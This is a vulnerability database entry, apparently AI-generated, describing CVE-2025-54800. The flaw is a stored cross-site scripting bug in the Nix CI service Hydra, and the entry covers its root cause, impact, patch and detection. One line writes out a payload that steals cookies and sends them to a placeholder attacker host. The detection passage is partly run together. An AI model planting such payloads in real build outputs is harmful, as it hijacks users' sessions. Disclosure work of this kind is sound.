
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-54800 is a persistent (stored) Cross-Site Scripting (XSS) vulnerability in Hydra, the continuous integration service for Nix-based projects. A malicious package can write arbitrary JavaScript into Hydra's build output files (e.g., $out/nix-support/hydra-metrics, $out/nix-support/hydra-release-name), which is then stored in the Hydra database without sanitization and automatically executed in any visitor's browser when the build page is loaded. All Hydra versions up to and including commit 957884d174445b1615e86388254189bbe91f9a40 are affected; the fix was introduced in commit dea1e168f590efb27db32dbacc82b09e15f8ae4b (published August 12, 2025). The vulnerability carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 7.1 (High) (GitHub Advisory, Red Hat).
The root cause is improper neutralization of script-related HTML tags in web page generation (CWE-79 / CWE-80): Hydra's queue runner reads build output files (hydra-metrics, hydra-release-name, hydra-build-products) without validating or escaping their contents before writing them to the database, and the Perl Template Toolkit templates then embed those values directly into HTML without escaping. An attacker controlling a Nix package's build process can write a payload such as <script>malicious_code()</script> into $out/nix-support/hydra-metrics or hydra-release-name; when Hydra processes the build, the payload is stored verbatim and rendered unescaped on the build page for any visitor. The patch (commit dea1e16) adds regex-based allowlist validation in build-result.cc for metric names, values, units, and release names, and introduces HTML.escape() / | html filters throughout the affected templates (GitHub Advisory, Patch Commit).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user — including administrators — who visits the affected build page. This can lead to session hijacking, theft of authentication tokens or sensitive information displayed on the page, unauthorized actions performed in the victim's browser context, and potential compromise of the Hydra administrative interface. Because the payload is stored in the database and triggered passively on page load, all users of a Hydra instance that builds the malicious package are at risk without any further attacker interaction (GitHub Advisory).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.047% (very low probability of near-term exploitation), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires that a malicious package be accepted into a Hydra build job, which limits the attack surface to scenarios involving untrusted third-party packages or supply chain compromise (GitHub Advisory, Red Hat).
echo '<script>document.location="https://attacker.example/steal?c="+document.cookie</script> 1' > $out/nix-support/hydra-metrics$out/nix-support/hydra-metrics (and/or hydra-release-name), and stores the unsanitized payload in the database.<script> tags, HTML entities, or unexpected non-alphanumeric content in $out/nix-support/hydra-metrics, $out/nix-support/hydra-release-name, or $out/nix-support/hydra-build-products within a Nix build output.buildmetrics or builds (release name fields) containing HTML tags or JavaScript code rather than plain alphanumeric values.Apply the patch introduced in commit dea1e168f590efb27db32dbacc82b09e15f8ae4b to your Hydra installation; this commit adds strict allowlist regex validation for all build output metadata fields and introduces HTML escaping throughout the affected templates. If upgrading immediately is not possible, the recommended workarounds are: (1) avoid building untrusted or third-party packages on the Hydra instance, and (2) restrict access to the Hydra build pages so that only trusted users can view them. Additionally, deploying a Content Security Policy (CSP) header that restricts inline script execution can reduce the impact of any residual XSS vectors (GitHub Advisory).
The vulnerability was reported by security researcher msanft, coordinated by mweinelt, and remediated by dasJ within the NixOS/Hydra project. The advisory was published on GitHub on August 12, 2025, and Red Hat tracked it as a Medium-severity issue. No significant broader media coverage or notable public social media discussion has been identified beyond the standard vulnerability database entries.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."